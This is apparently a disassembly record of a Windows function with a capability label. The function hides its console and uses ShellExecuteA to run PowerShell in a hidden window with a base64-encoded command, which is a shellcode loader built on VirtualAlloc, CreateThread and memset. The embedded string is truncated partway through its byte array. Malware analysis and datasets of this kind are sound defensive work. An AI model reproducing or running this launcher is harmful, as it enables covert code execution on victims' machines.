Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JABqAGoAMABNACAAPQAgACcAJAB0AGcAeQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJAB0AGcAeQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkAGQALAAwAHgAYwA3ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGEALAAwAHgAYgBiACwAMAB4AGMAYgAsADAAeABhAGEALAAwAHgAZgA1ACwAMAB4ADAAMQAsADAAeAAyAGIALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA2ADIALAAwAHgAOAAzACwAMAB4AGUAYQAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADUAYQAsADAAeAAxADUALAAwAHgAMAAzACwAMAB4ADUAYQAsADAAeAAxADUALAAwAHgAMgA5ACwAMAB4ADUAZgAsADAAeAAwADkALAAwAHgAZQA5ACwAMAB4ADIAMgAsADAAeABhADAALAAwAHgAZgAyACwAMAB4AGUAYQAsADAAeAA1AGMALAAwAHgAMgA4ACwAMAB4ADEANwAsADAAeABkAGIALAAwAHgANABlACwAMAB4ADQAZQAsADAAeAA1ADMALAAwAHgANABlACwAMAB4ADUAZQAsADAAeAAwADQALAAwAHgAMwAxACwAMAB4ADYAMwAsADAAeAAxADUALAAwAHgANAA4ACwAMAB4AGEAMgAsADAAeAA3ADQALAAwAHgAOQBlACwAMAB4ADIANwAsADAAeABlAGMALAAwAHgAMAAxACwAMAB4ADkAMgAsADAAeAA5AGYALAAwAHgAYwAxACwAMAB4AGUAYQAsADAAeAA2ADMALAAwAHgAMgAwACwAMAB4ADgAZAAsADAAeAAyADkALAAwAHgAZQAyACwAMAB4AGQAYwAsADAAeABjAGMALAAwAHgANwBkACwAMAB4AGMANAAsADAAeABkAGQALAAwAHgAMQBlACwAMAB4ADcAMAAsADAAeAAwADUALAAwAHgAMQA5ACwAMAB4AGUAOQAsADAAeABmAGUALAAwAHgAZQBhACwAMAB4AGYANwAsADAAeABiAGQALAAwAHgAOABiACwAMAB4AGEANgAsADAAeABlADcALAAwAHgAYwBhACwAMAB4AGMAZQAsADAAeAA3AGEALAAwAHgAMAA5ACwAMAB4ADEAZAAsADAAeAA0ADUALAAwAHgAYwAyACwAMAB4ADcAMQAsADAAeAAxADgALAAwAHgAOQBhACwAMAB4AGIANgAsADAAeABjAGQALAAwAHgAMgAzACwAMAB4AGMAYgAsADAAeABiAGQALAAwAHgAOAA2ACwAMAB4ADMAYgAsADAAeAA2ADAALAAwAHgAOQA5ACwAMAB4ADMANgAsADAAeAAzAGQALAAwAHgAYQA1ACwAMAB4ADQAOQAsADAAeABiADIALAAwAHgAZgA0ACwAMAB4ADMAZAAsADAAeAA1ADUALAAwAHgAZgA1ACwAMAB4ADMANwAsADAAeAA0ADEALAAwAHgAMgBlACwAMAB4ADMAMQAsADAAeABiADMALAAwAHgAYgBjACwAMAB4AGUANgAsADAAeAAwAGIALAAwAHgAMAAzACwAMAB4ADcAZgAsADAAeABjADkALAAwAHgANgAxACwAMAB4ADIAZgAsADAAeAA4ADEALAAwAHgAMQAyACwAMAB4ADQAMQAsADAAeABjAGYALAAwAHgAZgA3ACwAMAB4ADYAOAAsADAAeABiADEALAAwAHgANwAyACwAMAB4ADAAMAAsADAAeABhAGIALAAwAHgAYwBiACwAMAB4AGEAOAAsADAAeAA4ADUALAAwAHgAMgBiACwAMAB4ADYAYgAsADAAeAAzAGEALAAwAHgAMwBkACwAMAB4ADgAZgAsADAAeAA4AGQALAAwAHgAZQBmACwAMAB4AGQAOAAsADAAeAA0ADQALAAwAHgAOAAxACwAMAB4ADQANAAsADAAeABhAGUALAAwAHgAMAAyACwAMAB4ADgANgAsADAAeAA1AGIALAAwAHgANgAzACwAMAB4ADMAOQAsADAAeABiADIALAAwAHgAZAAwACwAMAB4ADgAMgAsADAAeABlAGQALAAwAHgAMwAyACwAMAB4AGEAMgAsADAAeABhADAALAAwAHgAMgA5ACwAMAB4ADEAZQAsADAAeAA3ADAALAAwAHgAYwA4ACwAMAB4ADYAOAAsADAAeABmAGEALAAwAHgAZAA3ACwAMAB4AGYANQAsADAAeAA2AGEALAAwAHgAYQAyACwAMAB4ADgAOAAsADAAeAA1ADMALAAwAHgAZQAxACwAMAB4ADQAMQAsADAAeABkAGUALAAwAHgAZQA0ACwAMAB4ADAAYQAsADAAeAA5AGEALAAwAHgAZABmACwAMAB4AGIAOAAsADAAeAA5AGMALAAwAHgAMABiACwAMAB4ADQANQAsADAAeAAzADcALAAwAHgANQBjACwAMAB4AGIAYwAsADAAeABmADIALAAwAHgAZABlACwAMAB4ADMAMgAsADAAeAA1ADUALAAwAHgAYQA5ACwAMAB4ADQAOAAsADAAeAA4ADYALAAwAHgAZAAyACwAMAB4ADcANwAsAD
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop